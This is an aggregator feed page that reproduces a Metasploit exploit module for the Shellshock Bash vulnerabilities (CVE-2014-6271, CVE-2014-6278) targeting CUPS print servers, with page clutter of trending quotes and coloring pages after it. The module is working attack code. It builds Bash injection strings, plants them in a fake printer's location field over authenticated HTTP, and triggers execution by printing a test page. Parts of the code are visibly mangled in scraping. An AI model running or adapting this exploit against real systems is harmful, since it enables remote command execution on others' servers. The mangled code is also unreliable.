Quantcast
Channel: Linux Feed » SHELLCOCK BASHED
Viewing all articles
Browse latest Browse all 4

CUPS Filter Bash Environment Variable Code Injection

$
0
0
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4  'CUPS Filter Bash Environment Variable Code Injection',
      'Description' => %q{
        This module exploits a post-auth code injection in specially crafted
        environment variables in Bash, specifically targeting CUPS filters
        through the PRINTER_INFO and PRINTER_LOCATION variables by default.
      },
      'Author' => [
        'Stephane Chazelas', # Vulnerability discovery
        'lcamtuf', # CVE-2014-6278
        'Brendan Coles ' # msf
      ],
      'References' => [
        ['CVE', '2014-6271'],
        ['CVE', '2014-6278'],
        ['EDB', '34765'],
        ['URL', 'https://access.redhat.com/articles/1200223'],
        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
      ],
      'Privileged' => false,
      'Arch' => ARCH_CMD,
      'Platform' => 'unix',
      'Payload' =>
        {
          'Space' => 1024,
          'BadChars' => "x00x0Ax0D",
          'DisableNops' => true
        },
      'Compat' =>
        {
          'PayloadType' => 'cmd',
          'RequiredCmd' => 'generic bash awk ruby'
        },
      # Tested:
      # - CUPS version 1.4.3 on Ubuntu 10.04 (x86)
      # - CUPS version 1.5.3 on Debian 7 (x64)
      # - CUPS version 1.6.2 on Fedora 19 (x64)
      # - CUPS version 1.7.2 on Ubuntu 14.04 (x64)
      'Targets' =>  [[ 'Automatic Targeting', { 'auto' => true } ]],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 24 2014',
      'License' => MSF_LICENSE
    ))
    register_options([
      Opt::RPORT(631),
      OptBool.new('SSL', [ true, 'Use SSL', true ]),
      OptString.new('USERNAME', [ true, 'CUPS username', 'root']),
      OptString.new('PASSWORD', [ true, 'CUPS user password', '']),
      OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]),
      OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ])
    ], self.class)
  end

  #
  # CVE-2014-6271
  #
  def cve_2014_6271(cmd)
    %{() { :;}; $(#{cmd}) & }
  end

  #
  # CVE-2014-6278
  #
  def cve_2014_6278(cmd)
    %{() { _; } >_[$($())] { echo -e "rn$(#{cmd})rn" ; }}
  end

  #
  # Check credentials
  #
  def check
    @cookie = rand_text_alphanumeric(16)
    printer_name = rand_text_alphanumeric(10 + rand(5))
    res = add_printer(printer_name, '')
    if !res
      vprint_error("#{peer} - No response from host")
      return Exploit::CheckCode::Unknown
    elsif res.headers['Server'] =~ /CUPS/([d.]+)/
      vprint_status("#{peer} - Found CUPS version #{$1}")
    else
      print_status("#{peer} - Target is not a CUPS web server")
      return Exploit::CheckCode::Safe
    end
    if res.body =~ /Set Default Options for #{printer_name}/
      vprint_good("#{peer} - Added printer successfully")
      delete_printer(printer_name)
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      vprint_error("#{peer} - Authentication failed")
    elsif res.code == 426
      vprint_error("#{peer} - SSL required - set SSL true")
    end
    Exploit::CheckCode::Detected
  end

  #
  # Exploit
  #
  def exploit
    @cookie = rand_text_alphanumeric(16)
    printer_name = rand_text_alphanumeric(10 + rand(5))

    # Select target CVE
    case datastore['CVE']
    when 'CVE-2014-6278'
      cmd = cve_2014_6278(payload.raw)
    else
      cmd = cve_2014_6271(payload.raw)
    end

    # Add a printer containing the payload
    # with a CUPS filter pointing to /bin/bash
    res = add_printer(printer_name, cmd)
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.")
    elsif res.body =~ /Set Default Options for #{printer_name}/
      print_good("#{peer} - Added printer successfully")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
    elsif res.code == 426
      fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not add printer.")
    end

    # Add a test page to the print queue.
    # The print job triggers execution of the bash filter
    # which executes the payload in the environment variables.
    res = print_test_page(printer_name)
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
    elsif res.body =~ /Test page sent; job ID is/
      vprint_good("#{peer} - Added test page to printer queue")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
    elsif res.code == 426
      fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.")
    end

    # Delete the printer
    res = delete_printer(printer_name)
    if !res
      fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
    elsif res.body =~ /has been deleted successfully/
      print_status("#{peer} - Deleted printer '#{printer_name}' successfully")
    elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true)
      vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.")
    elsif res.code == 426
      vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
    else
      vprint_warning("#{peer} - Could not delete printer '#{printer_name}'")
    end
  end

  #
  # Add a printer to CUPS
  #
  def add_printer(printer_name, cmd)
    vprint_status("#{peer} - Adding new printer '#{printer_name}'")

    ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd"
    ppd_file = >setpagedevice"
*PageSize BrLetter/Letter:      ">setpagedevice"
EOF

    pd = Rex::MIME::Message.new
    pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}"))
    pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid"))
    pd.add_part("add-printer", nil, nil, %(form-data; name="OP"))
    pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME"))
    pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable
    pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable
    pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI"))

    data = pd.to_s
    data.strip!

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'ctype' => "multipart/form-data; boundary=#{pd.bound}",
      'data' => data,
      'cookie' => "org.cups.sid=#{@cookie};",
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
    )
  end

  #
  # Queue a printer test page
  #
  def print_test_page(printer_name)
    vprint_status("#{peer} - Adding test page to printer queue")
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'printers', printer_name),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'cookie' => "org.cups.sid=#{@cookie}",
      'vars_post' => {
        'org.cups.sid' => @cookie,
        'OP' => 'print-test-page'
      }
    )
  end

  #
  # Delete a printer
  #
  def delete_printer(printer_name)
    vprint_status("#{peer} - Deleting printer '#{printer_name}'")
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'cookie' => "org.cups.sid=#{@cookie}",
      'vars_post' => {
        'org.cups.sid' => @cookie,
        'OP' => 'delete-printer',
        'printer_name' => printer_name,
        'confirm' => 'Delete Printer'
      }
    )
  end

end

(0)


Viewing all articles
Browse latest Browse all 4

Latest Images

Pangarap Quotes

Pangarap Quotes

Vimeo 10.7.0 by Vimeo.com, Inc.

Vimeo 10.7.0 by Vimeo.com, Inc.

HANGAD

HANGAD

MAKAKAALAM

MAKAKAALAM

Doodle Jump 3.11.30 by Lima Sky LLC

Doodle Jump 3.11.30 by Lima Sky LLC

Trending Articles


Ang Nobela sa “From Darna to ZsaZsa Zaturnnah: Desire and Fantasy, Essays on...


Lola Bunny para colorear


Dino Rey para colorear


Girasoles para colorear


Dibujos de animales para imprimir


Renos para colorear


Dromedario para colorear


Love Quotes Tagalog


Mga Patama Quotes at Pamatay Banat Quotes


RE: Mutton Pies (mely)


Gwapo Quotes : Babaero Quotes


Kung Fu Panda para colorear


Libros para colorear


Mandalas de flores para colorear


Dibujos para colorear de perros


Toro para colorear


mayabang Quotes, Torpe Quotes, tanga Quotes


Long Distance Relationship Tagalog Love Quotes


Love Quotes Tagalog


Mga Tala sa “Unang Siglo ng Nobela sa Filipinas” (2009) ni Virgilio S. Almario





Latest Images

Pangarap Quotes

Pangarap Quotes

Vimeo 10.7.0 by Vimeo.com, Inc.

Vimeo 10.7.0 by Vimeo.com, Inc.

HANGAD

HANGAD

MAKAKAALAM

MAKAKAALAM

Doodle Jump 3.11.30 by Lima Sky LLC

Doodle Jump 3.11.30 by Lima Sky LLC